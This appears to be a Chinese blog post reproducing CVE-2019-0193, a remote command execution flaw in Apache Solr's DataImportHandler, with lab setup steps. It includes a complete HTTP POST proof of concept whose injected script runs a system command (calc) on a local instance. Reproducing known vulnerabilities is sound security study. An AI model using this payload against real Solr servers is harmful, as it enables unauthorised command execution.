Apache Solr命令执行漏洞复现【CVE-2019-0193】

最新推荐文章于 2026-03-21 14:40:52 发布

原创最新推荐文章于 2026-03-21 14:40:52 发布 · 488 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

标签

#solr #apache #安全漏洞 #网络安全

漏洞复现专栏收录该内容

7 篇文章

订阅专栏

Solr简介

在这里插入图片描述

Apache Solr是一个企业级搜索平台，用Java编写且开源，基于Apache Lucene项目。

主要功能包括：

full-text search 全文搜索
hit highlighting
faceted search
dynamic clustering 动态聚类
document parsing 文档解析

Solr可以像数据库一样被使用：

运行服务器，创建collection1
从外部获取数据 - 向collection1发送不同类型的数据（例如文本，xml文档，pdf文档等任何格式）
存储数据并生成索引 - Solr自动索引这些数据并提供快速、丰富的REST API接口，以便于你搜索已有数据。

漏洞简介

Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache
Solr的DataImportHandler，该模块是一个可选但常用的模块，用于从数据库和其他源中提取数据。它具有一个功能，其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本，因此攻击者可以通过构造危险的请求，从而造成远程命令执行。

漏洞编号

cve-2019-0193

影响范围

Apache solr < 8.2.0

漏洞复现

环境准备
Solr下载地址
https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2/solr-7.7.2.zip
在本地解压，进入solr-7.7.2目录，执行如下命令

  bin/solr -e dih

在这里插入图片描述
然后访问http://127.0.0.1:8983/solr即可访问环境

漏洞利用
通过接口命令 curl http://127.0.0.1:8983/solr/admin/cores 来获取所有 core 信息，下面我们构造 payload 需要 name 信息

在Burp中发送以下POC即可执行命令弹出计算器，下面的 <your_core_name> 需要替换为你获取到的 core 的 name（共两处）

POST /solr/<your_core_name>/dataimport HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 763
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=<your_core_name>&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("calc");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>